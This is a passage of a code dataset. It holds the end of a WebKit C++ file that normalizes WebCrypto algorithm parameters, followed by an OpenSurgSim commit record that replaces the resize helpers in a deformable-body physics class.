WebKit::WebCryptoAlgorithmParamsTypeNone},\n\n \/\/ HMAC\n {WebKit::WebCryptoAlgorithmIdHmac, Sign, WebKit::WebCryptoAlgorithmParamsTypeHmacParams},\n {WebKit::WebCryptoAlgorithmIdHmac, Verify, WebKit::WebCryptoAlgorithmParamsTypeHmacParams},\n {WebKit::WebCryptoAlgorithmIdHmac, GenerateKey, WebKit::WebCryptoAlgorithmParamsTypeHmacParams},\n {WebKit::WebCryptoAlgorithmIdHmac, ImportKey, WebKit::WebCryptoAlgorithmParamsTypeHmacParams},\n\n \/\/ RSASSA-PKCS1-v1_5\n {WebKit::WebCryptoAlgorithmIdRsaSsaPkcs1v1_5, Sign, WebKit::WebCryptoAlgorithmParamsTypeRsaSsaParams},\n {WebKit::WebCryptoAlgorithmIdRsaSsaPkcs1v1_5, Verify, WebKit::WebCryptoAlgorithmParamsTypeRsaSsaParams},\n {WebKit::WebCryptoAlgorithmIdRsaSsaPkcs1v1_5, GenerateKey, WebKit::WebCryptoAlgorithmParamsTypeRsaKeyGenParams},\n {WebKit::WebCryptoAlgorithmIdRsaSsaPkcs1v1_5, ImportKey, WebKit::WebCryptoAlgorithmParamsTypeNone},\n\n \/\/ SHA-*\n {WebKit::WebCryptoAlgorithmIdSha1, Digest, WebKit::WebCryptoAlgorithmParamsTypeNone},\n {WebKit::WebCryptoAlgorithmIdSha224, Digest, WebKit::WebCryptoAlgorithmParamsTypeNone},\n {WebKit::WebCryptoAlgorithmIdSha256, Digest, WebKit::WebCryptoAlgorithmParamsTypeNone},\n {WebKit::WebCryptoAlgorithmIdSha384, Digest, WebKit::WebCryptoAlgorithmParamsTypeNone},\n {WebKit::WebCryptoAlgorithmIdSha512, Digest, WebKit::WebCryptoAlgorithmParamsTypeNone},\n};\n\n\/\/ This structure describes an algorithm and its supported operations.\nstruct AlgorithmInfo {\n AlgorithmInfo()\n : algorithmName(0)\n {\n for (size_t i = 0; i < WTF_ARRAY_LENGTH(paramsForOperation); ++i)\n paramsForOperation[i] = UnsupportedOp;\n }\n\n WebKit::WebCryptoAlgorithmId algorithmId;\n const char* algorithmName;\n AlgorithmParamsForOperation paramsForOperation[NumberOfAlgorithmOperations];\n};\n\n\/\/ AlgorithmRegistry enumerates each of the different algorithms and its\n\/\/ parameters. This describes the same information as the static tables above,\n\/\/ but in a more convenient runtime form.\nclass AlgorithmRegistry {\npublic:\n static const AlgorithmInfo* lookupAlgorithmByName(const String& algorithmName);\n\nprivate:\n AlgorithmRegistry();\n\n \/\/ Algorithm name to ID.\n typedef HashMap<String, WebKit::WebCryptoAlgorithmId, CaseFoldingHash> AlgorithmNameToIdMap;\n AlgorithmNameToIdMap m_algorithmNameToId;\n\n \/\/ Algorithm ID to information.\n AlgorithmInfo m_algorithms[WebKit::NumberOfWebCryptoAlgorithmId];\n};\n\nconst AlgorithmInfo* AlgorithmRegistry::lookupAlgorithmByName(const String& algorithmName)\n{\n DEFINE_STATIC_LOCAL(AlgorithmRegistry, registry, ());\n\n AlgorithmNameToIdMap::const_iterator it = registry.m_algorithmNameToId.find(algorithmName);\n if (it == registry.m_algorithmNameToId.end())\n return 0;\n return ®istry.m_algorithms[it->value];\n}\n\nAlgorithmRegistry::AlgorithmRegistry()\n{\n for (size_t i = 0; i < WTF_ARRAY_LENGTH(algorithmNameMappings); ++i) {\n const AlgorithmNameMapping& mapping = algorithmNameMappings[i];\n m_algorithmNameToId.add(mapping.algorithmName, mapping.algorithmId);\n m_algorithms[mapping.algorithmId].algorithmName = mapping.algorithmName;\n m_algorithms[mapping.algorithmId].algorithmId = mapping.algorithmId;\n }\n\n for (size_t i = 0; i < WTF_ARRAY_LENGTH(operationParamsMappings); ++i) {\n const OperationParamsMapping& mapping = operationParamsMappings[i];\n m_algorithms[mapping.algorithmId].paramsForOperation[mapping.operation] = mapping.params;\n }\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseAesCbcParams(const Dictionary& raw)\n{\n RefPtr<ArrayBufferView> iv;\n if (!raw.get(\"iv\", iv) || !iv)\n return nullptr;\n\n if (iv->byteLength() != 16)\n return nullptr;\n\n return adoptPtr(new WebKit::WebCryptoAesCbcParams(static_cast<unsigned char*>(iv->baseAddress()), iv->byteLength()));\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseAesKeyGenParams(const Dictionary& raw)\n{\n int32_t length;\n if (!raw.get(\"length\", length))\n return nullptr;\n if (length < 0 || length > 0xFFFF)\n return nullptr;\n return adoptPtr(new WebKit::WebCryptoAesKeyGenParams(length));\n}\n\nbool parseHash(const Dictionary& raw, WebKit::WebCryptoAlgorithm& hash)\n{\n Dictionary rawHash;\n if (!raw.get(\"hash\", rawHash))\n return false;\n\n TrackExceptionState es;\n return normalizeAlgorithm(rawHash, Digest, hash, es);\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseHmacParams(const Dictionary& raw)\n{\n WebKit::WebCryptoAlgorithm hash;\n if (!parseHash(raw, hash))\n return nullptr;\n return adoptPtr(new WebKit::WebCryptoHmacParams(hash));\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseRsaSsaParams(const Dictionary& raw)\n{\n WebKit::WebCryptoAlgorithm hash;\n if (!parseHash(raw, hash))\n return nullptr;\n return adoptPtr(new WebKit::WebCryptoRsaSsaParams(hash));\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseRsaKeyGenParams(const Dictionary& raw)\n{\n \/\/ FIXME: This is losing precision; modulusLength is supposed to be a uint32\n int32_t modulusLength;\n if (!raw.get(\"modulusLength\", modulusLength))\n return nullptr;\n if (modulusLength < 0)\n return nullptr;\n\n RefPtr<Uint8Array> publicExponent;\n if (!raw.get(\"publicExponent\", publicExponent) || !publicExponent)\n return nullptr;\n return adoptPtr(new WebKit::WebCryptoRsaKeyGenParams(modulusLength, static_cast<const unsigned char*>(publicExponent->baseAddress()), publicExponent->byteLength()));\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseAlgorithmParams(const Dictionary& raw, WebKit::WebCryptoAlgorithmParamsType type)\n{\n switch (type) {\n case WebKit::WebCryptoAlgorithmParamsTypeNone:\n return nullptr;\n case WebKit::WebCryptoAlgorithmParamsTypeAesCbcParams:\n return parseAesCbcParams(raw);\n case WebKit::WebCryptoAlgorithmParamsTypeAesKeyGenParams:\n return parseAesKeyGenParams(raw);\n case WebKit::WebCryptoAlgorithmParamsTypeHmacParams:\n return parseHmacParams(raw);\n case WebKit::WebCryptoAlgorithmParamsTypeRsaSsaParams:\n return parseRsaSsaParams(raw);\n case WebKit::WebCryptoAlgorithmParamsTypeRsaKeyGenParams:\n return parseRsaKeyGenParams(raw);\n }\n ASSERT_NOT_REACHED();\n return nullptr;\n}\n\nconst AlgorithmInfo* algorithmInfo(const Dictionary& raw, ExceptionState& es)\n{\n String algorithmName;\n if (!raw.get(\"name\", algorithmName)) {\n es.throwDOMException(NotSupportedError);\n return 0;\n }\n\n if (!algorithmName.containsOnlyASCII()) {\n es.throwDOMException(SyntaxError);\n return 0;\n }\n\n const AlgorithmInfo* info = AlgorithmRegistry::lookupAlgorithmByName(algorithmName);\n if (!info) {\n es.throwDOMException(NotSupportedError);\n return 0;\n }\n\n return info;\n}\n\n} \/\/ namespace\n\n\/\/ FIXME: Throw the correct exception types!\n\/\/ This implementation corresponds with:\n\/\/ http:\/\/www.w3.org\/TR\/WebCryptoAPI\/#algorithm-normalizing-rules\nbool normalizeAlgorithm(const Dictionary& raw, AlgorithmOperation op, WebKit::WebCryptoAlgorithm& algorithm, ExceptionState& es)\n{\n const AlgorithmInfo* info = algorithmInfo(raw, es);\n if (!info)\n return false;\n\n if (info->paramsForOperation[op] == UnsupportedOp) {\n es.throwDOMException(NotSupportedError);\n return false;\n }\n\n WebKit::WebCryptoAlgorithmParamsType paramsType = static_cast<WebKit::WebCryptoAlgorithmParamsType>(info->paramsForOperation[op]);\n OwnPtr<WebKit::WebCryptoAlgorithmParams> params = parseAlgorithmParams(raw, paramsType);\n\n if (!params && paramsType != WebKit::WebCryptoAlgorithmParamsTypeNone) {\n es.throwDOMException(NotSupportedError);\n return false;\n }\n\n algorithm = WebKit::WebCryptoAlgorithm(info->algorithmId, info->algorithmName, params.release());\n return true;\n}\n\n} \/\/ namespace WebCore\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2012-2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"SurgSim\/Framework\/FrameworkConvert.h\"\n#include \"SurgSim\/Framework\/Log.h\"\n#include \"SurgSim\/Framework\/SceneElement.h\"\n#include \"SurgSim\/Framework\/PoseComponent.h\"\n#include \"SurgSim\/Math\/MathConvert.h\"\n#include \"SurgSim\/Math\/OdeSolverEulerExplicit.h\"\n#include \"SurgSim\/Math\/OdeSolverEulerExplicitModified.h\"\n#include \"SurgSim\/Math\/OdeSolverEulerImplicit.h\"\n#include \"SurgSim\/Math\/OdeSolverRungeKutta4.h\"\n#include \"SurgSim\/Math\/OdeSolverLinearEulerExplicit.h\"\n#include \"SurgSim\/Math\/OdeSolverLinearEulerExplicitModified.h\"\n#include \"SurgSim\/Math\/OdeSolverLinearEulerImplicit.h\"\n#include \"SurgSim\/Math\/OdeSolverLinearRungeKutta4.h\"\n#include \"SurgSim\/Math\/OdeSolverLinearStatic.h\"\n#include \"SurgSim\/Math\/OdeSolverStatic.h\"\n#include \"SurgSim\/Math\/OdeState.h\"\n#include \"SurgSim\/Physics\/DeformableRepresentation.h\"\n#include \"SurgSim\/Physics\/DeformableCollisionRepresentation.h\"\n\nnamespace SurgSim\n{\n\nnamespace Physics\n{\n\nDeformableRepresentation::DeformableRepresentation(const std::string& name) :\n\tRepresentation(name),\n\tSurgSim::Math::OdeEquation(),\n\tm_numDofPerNode(0),\n\tm_integrationScheme(SurgSim::Math::INTEGRATIONSCHEME_EXPLICIT_EULER)\n{\n\tSURGSIM_ADD_SERIALIZABLE_PROPERTY(DeformableRepresentation, SurgSim::Math::IntegrationScheme, IntegrationScheme,\n\t\t\t\t\t\t\t\t\t getIntegrationScheme, setIntegrationScheme);\n\tSURGSIM_ADD_SERIALIZABLE_PROPERTY(DeformableRepresentation, std::shared_ptr<SurgSim::Collision::Representation>,\n\t\t\t\t\t\t\t\t\t CollisionRepresentation, getCollisionRepresentation, setCollisionRepresentation);\n}\n\nDeformableRepresentation::~DeformableRepresentation()\n{\n}\nvoid DeformableRepresentation::resetState()\n{\n\tRepresentation::resetState();\n\n\t\/\/ Reminder: m_initialState is being held in OdeEquation\n\t*m_currentState = *m_initialState;\n\t*m_previousState = *m_initialState;\n\t\/\/ m_newState does not need to be reset, it is a temporary variable\n\t*m_finalState = *m_initialState;\n}\n\nvoid DeformableRepresentation::setInitialState(\n\tstd::shared_ptr<SurgSim::Math::OdeState> initialState)\n{\n\t\/\/ This initializes and allocates the m_initialState data member\n\tm_initialState = initialState;\n\n\tm_previousState = std::make_shared<SurgSim::Math::OdeState>(*m_initialState);\n\tm_currentState = std::make_shared<SurgSim::Math::OdeState>(*m_initialState);\n\tm_newState = std::make_shared<SurgSim::Math::OdeState>(*m_initialState);\n\tm_finalState = std::make_shared<SurgSim::Math::OdeState>(*m_initialState);\n\n\t\/\/ Set the representation number of degree of freedom\n\tsetNumDof(m_initialState->getNumDof());\n\n\tSurgSim::Math::resizeVector(&m_externalGeneralizedForce, getNumDof(), true);\n\tSurgSim::Math::resizeMatrix(&m_externalGeneralizedStiffness, getNumDof(), getNumDof(), true);\n\tSurgSim::Math::resizeMatrix(&m_externalGeneralizedDamping, getNumDof(), getNumDof(), true);\n}\n\nconst std::shared_ptr<SurgSim::Math::OdeState> DeformableRepresentation::getCurrentState() const\n{\n\treturn m_currentState;\n}\n\nconst std::shared_ptr<SurgSim::Math::OdeState> DeformableRepresentation::getPreviousState() const\n{\n\treturn m_previousState;\n}\n\nconst std::shared_ptr<SurgSim::Math::OdeState> DeformableRepresentation::getFinalState() const\n{\n\treturn m_finalState;\n}\n\nsize_t DeformableRepresentation::getNumDofPerNode() const\n{\n\treturn m_numDofPerNode;\n}\n\nvoid DeformableRepresentation::setIntegrationScheme(SurgSim::Math::IntegrationScheme integrationScheme)\n{\n\tSURGSIM_ASSERT(!isAwake()) << \"You cannot set the integration scheme after the component has been awoken\";\n\tm_integrationScheme = integrationScheme;\n}\n\nSurgSim::Math::IntegrationScheme DeformableRepresentation::getIntegrationScheme() const\n{\n\treturn m_integrationScheme;\n}\n\nconst SurgSim::Math::Vector& DeformableRepresentation::getExternalGeneralizedForce() const\n{\n\treturn m_externalGeneralizedForce;\n}\n\nconst SurgSim::Math::Matrix& DeformableRepresentation::getExternalGeneralizedStiffness() const\n{\n\treturn m_externalGeneralizedStiffness;\n}\n\nconst SurgSim::Math::Matrix& DeformableRepresentation::getExternalGeneralizedDamping() const\n{\n\treturn m_externalGeneralizedDamping;\n}\n\nconst SurgSim::Math::Matrix& DeformableRepresentation::getComplianceMatrix() const\n{\n\tSURGSIM_ASSERT(m_odeSolver) << \"Ode solver not initialized, it should have been initialized on wake-up\";\n\n\treturn m_odeSolver->getCompliance();\n}\n\nvoid DeformableRepresentation::update(double dt)\n{\n\tif (! isActive())\n\t{\n\t\treturn;\n\t}\n\n\tSURGSIM_ASSERT(m_odeSolver != nullptr) <<\n\t\t\t\t\t\t\t\t\t\t \"Ode solver has not been set yet. Did you call beforeUpdate() ?\";\n\tSURGSIM_ASSERT(m_initialState != nullptr) <<\n\t\t\t\"Initial state has not been set yet. Did you call setInitialState() ?\";\n\n\t\/\/ Solve the ode\n\tm_odeSolver->solve(dt, *m_currentState, m_newState.get());\n\n\t\/\/ Back up the current state into the previous state (by swapping)\n\tm_currentState.swap(m_previousState);\n\t\/\/ Make the new state, the current state (by swapping)\n\tm_currentState.swap(m_newState);\n\n\tif (!m_currentState->isValid())\n\t{\n\t\tSURGSIM_LOG(SurgSim::Framework::Logger::getDefaultLogger(), DEBUG)\n\t\t\t\t<< getName() << \" deactivated :\" << std::endl\n\t\t\t\t<< \"position=(\" << m_currentState->getPositions().transpose() << \")\" << std::endl\n\t\t\t\t<< \"velocity=(\" << m_currentState->getVelocities().transpose() << \")\" << std::endl;\n\n\t\tsetActive(false);\n\t}\n}\n\nvoid DeformableRepresentation::afterUpdate(double dt)\n{\n\tif (! isActive())\n\t{\n\t\treturn;\n\t}\n\n\tdriveSceneElementPose(SurgSim::Math::RigidTransform3d::Identity());\n\n\t\/\/ Back up the current state into the final state\n\t*m_finalState = *m_currentState;\n\n\t\/\/ Reset the external generalized force, stiffness and damping\n\tm_externalGeneralizedForce.setZero();\n\tm_externalGeneralizedStiffness.setZero();\n\tm_externalGeneralizedDamping.setZero();\n}\n\nvoid DeformableRepresentation::applyCorrection(double dt,\n\t\tconst Eigen::VectorBlock<SurgSim::Math::Vector>& deltaVelocity)\n{\n\tif (!isActive())\n\t{\n\t\treturn;\n\t}\n\n\tm_currentState->getPositions() += deltaVelocity * dt;\n\tm_currentState->getVelocities() += deltaVelocity;\n\n\tif (!m_currentState->isValid())\n\t{\n\t\tSURGSIM_LOG(SurgSim::Framework::Logger::getDefaultLogger(), DEBUG)\n\t\t\t\t<< getName() << \" deactivated :\" << std::endl\n\t\t\t\t<< \"position=(\" << m_currentState->getPositions() << \")\" << std::endl\n\t\t\t\t<< \"velocity=(\" << m_currentState->getVelocities() << \")\" << std::endl;\n\n\t\tsetActive(false);\n\t}\n}\n\nvoid DeformableRepresentation::deactivateAndReset(void)\n{\n\tSURGSIM_LOG(SurgSim::Framework::Logger::getDefaultLogger(), DEBUG)\n\t\t\t<< getName() << \" deactivated and reset:\" << std::endl\n\t\t\t<< \"position=(\" << m_currentState->getPositions() << \")\" << std::endl\n\t\t\t<< \"velocity=(\" << m_currentState->getVelocities() << \")\" << std::endl;\n\n\tresetState();\n\tsetActive(false);\n}\n\nvoid DeformableRepresentation::setCollisionRepresentation(\n\tstd::shared_ptr<SurgSim::Collision::Representation> representation)\n{\n\tif (m_collisionRepresentation != representation)\n\t{\n\t\t\/\/ If we have an old collision representation clear the dependency if it was a deformable collision\n\t\t\/\/ representation\n\t\tauto oldCollisionRep =\n\t\t\tstd::dynamic_pointer_cast<DeformableCollisionRepresentation>(m_collisionRepresentation);\n\t\tif (oldCollisionRep != nullptr)\n\t\t{\n\t\t\toldCollisionRep->setDeformableRepresentation(nullptr);\n\t\t}\n\n\t\tRepresentation::setCollisionRepresentation(representation);\n\n\t\t\/\/ If its a RigidCollisionRepresentation connect with this representation\n\t\tauto newCollisionRep = std::dynamic_pointer_cast<DeformableCollisionRepresentation>(representation);\n\t\tif (newCollisionRep != nullptr)\n\t\t{\n\t\t\tnewCollisionRep->setDeformableRepresentation(\n\t\t\t\tstd::static_pointer_cast<DeformableRepresentation>(getSharedPtr()));\n\t\t}\n\t}\n}\n\nbool DeformableRepresentation::doWakeUp()\n{\n\tusing SurgSim::Math::OdeSolverEulerExplicit;\n\tusing SurgSim::Math::OdeSolverEulerExplicitModified;\n\tusing SurgSim::Math::OdeSolverEulerImplicit;\n\tusing SurgSim::Math::OdeSolverRungeKutta4;\n\tusing SurgSim::Math::OdeSolverStatic;\n\tusing SurgSim::Math::OdeSolverLinearEulerExplicit;\n\tusing SurgSim::Math::OdeSolverLinearEulerExplicitModified;\n\tusing SurgSim::Math::OdeSolverLinearEulerImplicit;\n\tusing SurgSim::Math::OdeSolverLinearRungeKutta4;\n\tusing SurgSim::Math::OdeSolverLinearStatic;\n\n\tusing SurgSim::Math::LinearSolveAndInverseDenseMatrix;\n\n\t\/\/ Transform the state with the initial pose\n\ttransformState(m_initialState, getPose());\n\t*m_previousState = *m_initialState;\n\t*m_currentState = *m_initialState;\n\t*m_newState = *m_initialState;\n\t*m_finalState = *m_initialState;\n\n\t\/\/ Since the pose is now embedded in the state, reset element and local pose to identity.\n\tsetLocalPose(SurgSim::Math::RigidTransform3d::Identity());\n\tstd::shared_ptr<SurgSim::Framework::SceneElement> sceneElement = getSceneElement();\n\tif (sceneElement != nullptr)\n\t{\n\t\tsceneElement->setPose(SurgSim::Math::RigidTransform3d::Identity());\n\t}\n\n\t\/\/ Set the ode solver using the chosen integration scheme\n\tswitch (m_integrationScheme)\n\t{\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_EXPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverEulerExplicit>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_MODIFIED_EXPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverEulerExplicitModified>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_IMPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverEulerImplicit>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_STATIC:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverStatic>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_RUNGE_KUTTA_4:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverRungeKutta4>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_LINEAR_EXPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverLinearEulerExplicit>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_LINEAR_MODIFIED_EXPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverLinearEulerExplicitModified>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_LINEAR_IMPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverLinearEulerImplicit>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_LINEAR_STATIC:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverLinearStatic>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_LINEAR_RUNGE_KUTTA_4:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverLinearRungeKutta4>(this);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tSURGSIM_LOG_WARNING(SurgSim::Framework::Logger::getDefaultLogger())\n\t\t\t\t\t<< \"Ode solver (integration scheme) not initialized, the integration scheme is invalid\";\n\t\t\treturn false;\n\t}\n\n\t\/\/ No assumption is made on the linear solver, we instantiate a general dense matrix solver\n\tm_odeSolver->setLinearSolver(std::make_shared<LinearSolveAndInverseDenseMatrix>());\n\n\treturn true;\n}\n\n}; \/\/ namespace Physics\n\n}; \/\/ namespace SurgSim\n<commit_msg>Remove remaining uses of resizeVector and resizeMatrix<commit_after>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2012-2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"SurgSim\/Framework\/FrameworkConvert.h\"\n#include \"SurgSim\/Framework\/Log.h\"\n#include \"SurgSim\/Framework\/SceneElement.h\"\n#include \"SurgSim\/Framework\/PoseComponent.h\"\n#include \"SurgSim\/Math\/MathConvert.h\"\n#include \"SurgSim\/Math\/OdeSolverEulerExplicit.h\"\n#include \"SurgSim\/Math\/OdeSolverEulerExplicitModified.h\"\n#include \"SurgSim\/Math\/OdeSolverEulerImplicit.h\"\n#include \"SurgSim\/Math\/OdeSolverRungeKutta4.h\"\n#include \"SurgSim\/Math\/OdeSolverLinearEulerExplicit.h\"\n#include \"SurgSim\/Math\/OdeSolverLinearEulerExplicitModified.h\"\n#include \"SurgSim\/Math\/OdeSolverLinearEulerImplicit.h\"\n#include \"SurgSim\/Math\/OdeSolverLinearRungeKutta4.h\"\n#include \"SurgSim\/Math\/OdeSolverLinearStatic.h\"\n#include \"SurgSim\/Math\/OdeSolverStatic.h\"\n#include \"SurgSim\/Math\/OdeState.h\"\n#include \"SurgSim\/Physics\/DeformableRepresentation.h\"\n#include \"SurgSim\/Physics\/DeformableCollisionRepresentation.h\"\n\nnamespace SurgSim\n{\n\nnamespace Physics\n{\n\nDeformableRepresentation::DeformableRepresentation(const std::string& name) :\n\tRepresentation(name),\n\tSurgSim::Math::OdeEquation(),\n\tm_numDofPerNode(0),\n\tm_integrationScheme(SurgSim::Math::INTEGRATIONSCHEME_EXPLICIT_EULER)\n{\n\tSURGSIM_ADD_SERIALIZABLE_PROPERTY(DeformableRepresentation, SurgSim::Math::IntegrationScheme, IntegrationScheme,\n\t\t\t\t\t\t\t\t\t getIntegrationScheme, setIntegrationScheme);\n\tSURGSIM_ADD_SERIALIZABLE_PROPERTY(DeformableRepresentation, std::shared_ptr<SurgSim::Collision::Representation>,\n\t\t\t\t\t\t\t\t\t CollisionRepresentation, getCollisionRepresentation, setCollisionRepresentation);\n}\n\nDeformableRepresentation::~DeformableRepresentation()\n{\n}\nvoid DeformableRepresentation::resetState()\n{\n\tRepresentation::resetState();\n\n\t\/\/ Reminder: m_initialState is being held in OdeEquation\n\t*m_currentState = *m_initialState;\n\t*m_previousState = *m_initialState;\n\t\/\/ m_newState does not need to be reset, it is a temporary variable\n\t*m_finalState = *m_initialState;\n}\n\nvoid DeformableRepresentation::setInitialState(\n\tstd::shared_ptr<SurgSim::Math::OdeState> initialState)\n{\n\t\/\/ This initializes and allocates the m_initialState data member\n\tm_initialState = initialState;\n\n\tm_previousState = std::make_shared<SurgSim::Math::OdeState>(*m_initialState);\n\tm_currentState = std::make_shared<SurgSim::Math::OdeState>(*m_initialState);\n\tm_newState = std::make_shared<SurgSim::Math::OdeState>(*m_initialState);\n\tm_finalState = std::make_shared<SurgSim::Math::OdeState>(*m_initialState);\n\n\t\/\/ Set the representation number of degree of freedom\n\tsetNumDof(m_initialState->getNumDof());\n\n\tm_externalGeneralizedForce.resize(getNumDof());\n\tm_externalGeneralizedStiffness.resize(getNumDof(), getNumDof());\n\tm_externalGeneralizedDamping.resize(getNumDof(), getNumDof());\n\tm_externalGeneralizedForce.setZero();\n\tm_externalGeneralizedStiffness.setZero();\n\tm_externalGeneralizedDamping.setZero();\n}\n\nconst std::shared_ptr<SurgSim::Math::OdeState> DeformableRepresentation::getCurrentState() const\n{\n\treturn m_currentState;\n}\n\nconst std::shared_ptr<SurgSim::Math::OdeState> DeformableRepresentation::getPreviousState() const\n{\n\treturn m_previousState;\n}\n\nconst std::shared_ptr<SurgSim::Math::OdeState> DeformableRepresentation::getFinalState() const\n{\n\treturn m_finalState;\n}\n\nsize_t DeformableRepresentation::getNumDofPerNode() const\n{\n\treturn m_numDofPerNode;\n}\n\nvoid DeformableRepresentation::setIntegrationScheme(SurgSim::Math::IntegrationScheme integrationScheme)\n{\n\tSURGSIM_ASSERT(!isAwake()) << \"You cannot set the integration scheme after the component has been awoken\";\n\tm_integrationScheme = integrationScheme;\n}\n\nSurgSim::Math::IntegrationScheme DeformableRepresentation::getIntegrationScheme() const\n{\n\treturn m_integrationScheme;\n}\n\nconst SurgSim::Math::Vector& DeformableRepresentation::getExternalGeneralizedForce() const\n{\n\treturn m_externalGeneralizedForce;\n}\n\nconst SurgSim::Math::Matrix& DeformableRepresentation::getExternalGeneralizedStiffness() const\n{\n\treturn m_externalGeneralizedStiffness;\n}\n\nconst SurgSim::Math::Matrix& DeformableRepresentation::getExternalGeneralizedDamping() const\n{\n\treturn m_externalGeneralizedDamping;\n}\n\nconst SurgSim::Math::Matrix& DeformableRepresentation::getComplianceMatrix() const\n{\n\tSURGSIM_ASSERT(m_odeSolver) << \"Ode solver not initialized, it should have been initialized on wake-up\";\n\n\treturn m_odeSolver->getCompliance();\n}\n\nvoid DeformableRepresentation::update(double dt)\n{\n\tif (! isActive())\n\t{\n\t\treturn;\n\t}\n\n\tSURGSIM_ASSERT(m_odeSolver != nullptr) <<\n\t\t\t\t\t\t\t\t\t\t \"Ode solver has not been set yet. Did you call beforeUpdate() ?\";\n\tSURGSIM_ASSERT(m_initialState != nullptr) <<\n\t\t\t\"Initial state has not been set yet. Did you call setInitialState() ?\";\n\n\t\/\/ Solve the ode\n\tm_odeSolver->solve(dt, *m_currentState, m_newState.get());\n\n\t\/\/ Back up the current state into the previous state (by swapping)\n\tm_currentState.swap(m_previousState);\n\t\/\/ Make the new state, the current state (by swapping)\n\tm_currentState.swap(m_newState);\n\n\tif (!m_currentState->isValid())\n\t{\n\t\tSURGSIM_LOG(SurgSim::Framework::Logger::getDefaultLogger(), DEBUG)\n\t\t\t\t<< getName() << \" deactivated :\" << std::endl\n\t\t\t\t<< \"position=(\" << m_currentState->getPositions().transpose() << \")\" << std::endl\n\t\t\t\t<< \"velocity=(\" << m_currentState->getVelocities().transpose() << \")\" << std::endl;\n\n\t\tsetActive(false);\n\t}\n}\n\nvoid DeformableRepresentation::afterUpdate(double dt)\n{\n\tif (! isActive())\n\t{\n\t\treturn;\n\t}\n\n\tdriveSceneElementPose(SurgSim::Math::RigidTransform3d::Identity());\n\n\t\/\/ Back up the current state into the final state\n\t*m_finalState = *m_currentState;\n\n\t\/\/ Reset the external generalized force, stiffness and damping\n\tm_externalGeneralizedForce.setZero();\n\tm_externalGeneralizedStiffness.setZero();\n\tm_externalGeneralizedDamping.setZero();\n}\n\nvoid DeformableRepresentation::applyCorrection(double dt,\n\t\tconst Eigen::VectorBlock<SurgSim::Math::Vector>& deltaVelocity)\n{\n\tif (!isActive())\n\t{\n\t\treturn;\n\t}\n\n\tm_currentState->getPositions() += deltaVelocity * dt;\n\tm_currentState->getVelocities() += deltaVelocity;\n\n\tif (!m_currentState->isValid())\n\t{\n\t\tSURGSIM_LOG(SurgSim::Framework::Logger::getDefaultLogger(), DEBUG)\n\t\t\t\t<< getName() << \" deactivated :\" << std::endl\n\t\t\t\t<< \"position=(\" << m_currentState->getPositions() << \")\" << std::endl\n\t\t\t\t<< \"velocity=(\" << m_currentState->getVelocities() << \")\" << std::endl;\n\n\t\tsetActive(false);\n\t}\n}\n\nvoid DeformableRepresentation::deactivateAndReset(void)\n{\n\tSURGSIM_LOG(SurgSim::Framework::Logger::getDefaultLogger(), DEBUG)\n\t\t\t<< getName() << \" deactivated and reset:\" << std::endl\n\t\t\t<< \"position=(\" << m_currentState->getPositions() << \")\" << std::endl\n\t\t\t<< \"velocity=(\" << m_currentState->getVelocities() << \")\" << std::endl;\n\n\tresetState();\n\tsetActive(false);\n}\n\nvoid DeformableRepresentation::setCollisionRepresentation(\n\tstd::shared_ptr<SurgSim::Collision::Representation> representation)\n{\n\tif (m_collisionRepresentation != representation)\n\t{\n\t\t\/\/ If we have an old collision representation clear the dependency if it was a deformable collision\n\t\t\/\/ 